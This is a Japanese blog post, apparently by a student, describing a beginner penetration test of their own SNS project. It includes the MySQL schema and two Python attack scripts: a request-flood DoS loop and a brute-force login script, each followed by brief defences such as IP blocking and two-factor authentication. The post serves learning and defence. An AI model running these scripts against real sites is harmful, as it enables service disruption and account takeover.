今回は私達が昨年度作ったSNSサイトにvpn上で攻撃を仕掛けそのパケットを遮断するWAFを作るという事で素人ながらペネトレーションテストをやってみる
今回使うソースコード
https://github.com/21c1100017/WELP
※xammppで動かす場合はドキュメントルートの設定を変えてください
ローカル環境で動かす人用
データーベース情報
データーベース情報
データーベース名 | welp |
---|---|
ユーザー名 | welp_admin |
パスワード | welp_admin |
以下SQL文
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+09:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
CREATE DATABASE IF NOT EXISTS `welp` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
USE `welp`;
DROP TABLE IF EXISTS `favorites`;
CREATE TABLE `favorites` (
`id` int(11) NOT NULL,
`user_id` int(11) NOT NULL,
`post_id` int(11) NOT NULL,
`created_at` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `follows`;
CREATE TABLE `follows` (
`id` int(11) NOT NULL,
`from_id` int(11) NOT NULL,
`to_id` int(11) NOT NULL,
`created_at` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `images`;
CREATE TABLE `images` (
`id` int(11) NOT NULL,
`image_type` varchar(64) NOT NULL,
`image_content` mediumblob NOT NULL,
`image_size` int(11) NOT NULL,
`created_at` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `posts`;
CREATE TABLE `posts` (
`id` int(11) NOT NULL,
`user_id` int(11) NOT NULL,
`from_post_id` int(11) DEFAULT NULL,
`content` text NOT NULL,
`created_at` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `sessions`;
CREATE TABLE `sessions` (
`id` int(11) NOT NULL,
`user_id` int(11) NOT NULL,
`token` varchar(255) NOT NULL,
`created_at` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` int(11) NOT NULL,
`name` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`password` varchar(255) NOT NULL,
`picture_id` int(11) DEFAULT NULL,
`is_admin` tinyint(1) NOT NULL DEFAULT 0,
`created_at` datetime NOT NULL DEFAULT current_timestamp(),
`updated_at` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
ALTER TABLE `favorites`
ADD PRIMARY KEY (`id`);
ALTER TABLE `follows`
ADD PRIMARY KEY (`id`);
ALTER TABLE `images`
ADD PRIMARY KEY (`id`);
ALTER TABLE `posts`
ADD PRIMARY KEY (`id`);
ALTER TABLE `sessions`
ADD PRIMARY KEY (`id`);
ALTER TABLE `users`
ADD PRIMARY KEY (`id`),
ADD UNIQUE KEY `email` (`email`);
ALTER TABLE `favorites`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
ALTER TABLE `follows`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
ALTER TABLE `images`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
ALTER TABLE `posts`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
ALTER TABLE `sessions`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
ALTER TABLE `users`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
実際の画面
実際のペネトレーションテスト
■ DOS
■ ブルートフォース
■ DOS攻撃
私が初めに行った攻撃手法はとりあえずリクエストを送り続けるという物でした。(属に言う【f5アタック】) 以下Pythonのコード
import requests
class DOS_attack:
def Da(self):
count = 0
while True:
requests.get("http://10.8.0.1/login/")
count = count + 1
if count >= 100:
print("100回だけ行ったよ")
break
# DOS_attackのインスタンスを作成
# dos = DOS_attack()
# DOS_attackのメソッドを呼び出す
# dos.Da()
# 本来のコード
# import requests
# while True:
# requests.get("http://localhost/login/")
見ればわかる通りrequestを使って100回リクエストしたらConsoleにlogを残している。
(本来ならbreakせずにやり続ける)
やって見て分かったこと
案外簡単なのでハードルはかなり低い。
しかし実際にサーバーを落とそうとなると、1台のPCでただのページのリロードでは不可能に近い。
送るパケットのサイズをもっと多くしないといけない。
DOS(f5アタック)の防止・対策
同一IPアドレスからの連続したリクエスト要求を遮断します。F5アタックを試みてきたIPアドレスは、二次被害にもなるので、WAFなどでブロックリストに登録する。不審なIPアドレスは、サイトへのアクセスをできないようにすることが大切です。
■ ブルートフォース攻撃
次に私が行ったのはブルートフォース攻撃です。
概要だけ簡単にまとめるとメールアドレスとパスワードを片っ端から試しまくる攻撃(別名総当り攻撃)の事です。
今回は試しに四桁の4文字の英語で構成されているメールアドレスとパスワードをターゲットにしてみる。
以下Pythonのコード
import string
# a~zまでの文字列を生成する為のやつ
import requests
# requestsとは、PythonでHTTP通信を行うことができるライブラリのこと
import webbrowser
# ウェブベースのドキュメントを表示する
import itertools
# itertools --- 効率的なループ実行のためのイテレータ生成関数
class BruteForce:
# BruteForceクラスを生成
def __init__(self,url,url2,cookie) :
# インスタンス化する時に必要な文法
# return はいらない。
# 関数とは違い return 文を使わなくても 自動的に self が返されます。
# 頭に self をつけていない変数は、あとから参照できません。
# ここで大事なことはクラス変数には self が不要です。 そしてインスタンス変数には self が必要だということです。
# 例
# class Cat:
# type = '猫科'
# def __init__(self, name, gender, age):
# self.name = name
# self.gender = gender
# self.age = age
# def say(self):
# print(self.name, 'にゃー')
# def grawl(self):
# print(self.name, 'ウー')
self.url = url
self.url2 = url2
self.cookie = cookie
# url = "http://10.8.0.1/login/"
# ログイン前のURL
# url2 = "http://10.8.0.1/home/"
# ログイン後のURL
def generate_passwords(self):
words = list(string.ascii_lowercase)
# string.ascii_lowercase小文字 'abcdefghijklmnopqrstuvwxyz' 。この値はロケールに依存せず、固定です。
passwords = [''.join(p) for p in itertools.product(words, repeat=4)]
# itertools.product(*iterables, repeat=1)
# デカルト積とは、複数の集合の要素のすべての組み合わせを要素として持つ集合のことです。例えば、2つの集合AとBがあるとします。集合Aは数字10個の集合{0,1,2,…,9}、集合Bはアルファベット26個の集合{a,b,c,…,z}です。そのとき、集合AとBのデカルト積は、{(0,a),(0,b),(0,c)……(9,y),(9,z)}となり、260個の要素を持つ集合となります。
# 例としては
# product('ABCD', 'xy') --> Ax Ay Bx By Cx Cy Dx Dy
# product(A, repeat=4) は product(A, A, A, A) と同じ意味です。
# だからそれを踏まえるとitertools.product(words, repeat=4)はwords リストが ['a', 'b', 'c']の場合[('a', 'a', 'a', 'a'), ('a', 'a', 'a', 'b'), ('a', 'a', 'a', 'c'), ('a', 'a', 'b', 'a'), ... ('c', 'c', 'c', 'c')]となる
# でもこのままじゃ,がそのままだから''.join(p)を使って['aaaa', 'aaab', 'aaac', 'aaba', ..., 'cccc']とする。
return passwords
# リターンでgenerate_passwordが呼び出されたらpasswordの値を返す。
def run_brute_force(self):
# run_brute_force関数を定義
# __init__関数でselfを使っているから引数にselfを指定
# cookie = {'PHPSESSID': 'il9q48alh73bfn8pq2uc37u3ml'}
#クッキー情報
session = requests.Session()
requests.Session.post
# sessionという変数にセッション切れにならないようにrequests.Session()を格納する
found_credentials = False
# found_credentialsの値をデフォルト値をfalseにしておいて特定のメールアドレスとパスワードが見つかったらtrueに値を変えてあげる。
for word_1 in string.ascii_lowercase:
#word_1にa~zまでの文字を一つずつ代入
for word_2 in string.ascii_lowercase:
#word_2にa~zまでの文字を一つずつ代入
for word_3 in string.ascii_lowercase:
#word_3にa~zまでの文字を一つずつ代入
for word_4 in string.ascii_lowercase:
#word_4にa~zまでの文字を一つずつ代入
user_id = word_1 + word_2 + word_3 + word_4 + "@gmail.com"
# user_idにword1~4まで連結した文字+@gmail.comを代入
user_passwords = self.generate_passwords()
# ser_passwordsにgenerate_passwords関数の戻り値passwordを入れる
for password in user_passwords:
# passwordにuser_passwordsの値を一つずつ代入
response = session.post(self.url, data={"email": user_id, "password": password}, cookies=self.cookie)
# responseにrequests.Session.post(攻撃前のURL,emailの値にuser_idとpasswordの値にpasswordを入力,cookiesの値にcookieを入力する)
if response.status_code == 200 and response.url == self.url2:
# もしレスポンスコードが200で返ってきたURLがログイン後のURLなら以下の文を出す
# もし実行の処理が見たいならself.url2をself.urlにすれば失敗し続けるよ
print("ログインに成功しました。")
print("特定のメールアドレス: ", user_id)
print("特定のパスワード: ", password)
print(response.cookies)
# HTTPレスポンスオブジェクト response から取得したクッキー情報を表示するためのコード
print(response.text)
# HTTPレスポンスオブジェクト response から取得したテキストを表示するためのコード
webbrowser.open(self.url2)
# ウェブベースのドキュメントを表示する大抵はopenを呼び出せば成功する
# webbrowser.open(url, new=0, autoraise=True)
# デフォルトのブラウザで url を表示します。new が 0 なら、url はブラウザの今までと同じウィンドウで開きます。new が 1 なら、可能であればブラウザの新しいウィンドウが開きます。new が 2 なら、可能であればブラウザの新しいタブが開きます。autoraise が True なら、可能であればウィンドウが前面に表示されます(多くのウィンドウマネージャではこの変数の設定に関わらず、前面に表示されます)。
found_credentials = True
# この部分で見つかった場合はtrueに変えてあげる
break
else:
print("特定のメールアドレス: ", user_id)
print("特定のパスワード: ", password)
print("ログインに失敗しました。")
if found_credentials:
break
# found_credentialsがtrueだから抜ける
if found_credentials:
break
# found_credentialsがtrueだから抜ける
if found_credentials:
break
# found_credentialsがtrueだから抜ける
if found_credentials:
break
# found_credentialsがtrueだから抜ける
コードの内容を纏めると
a〜zまでの文字列を生成
↓
for文を使って回す
↓
ーーーー@gmail.com
パスワードをaaaa〜zzzzまで試す
↓
レスポンスのステータスが200でURLが/homeならば特定したメールアドレスとパスワードをログに残し、オープンブラウザにCookie情報等をつけて表示する。
やって見て分かった事
とにかく実行結果が長い。
4桁ですらいつまで掛かるか検討すらつかない。(ついでに数字や記号入れたら死ねる。)
ただ総当りなだけあって漏れは無さそう。
ブルートフォース攻撃の対策
基本的に2段階認証を入れれば大丈夫です。
Instagram等はこの手を使っています。
他にはユーザー頼みになりますがpasswordは定期的に変えてください!
今後の課題
今現在私がやっているのは力技なので脆弱性をついているわけではありません!
その為脆弱性の診断を行ってからもう一度ペネトレーションテストを行います!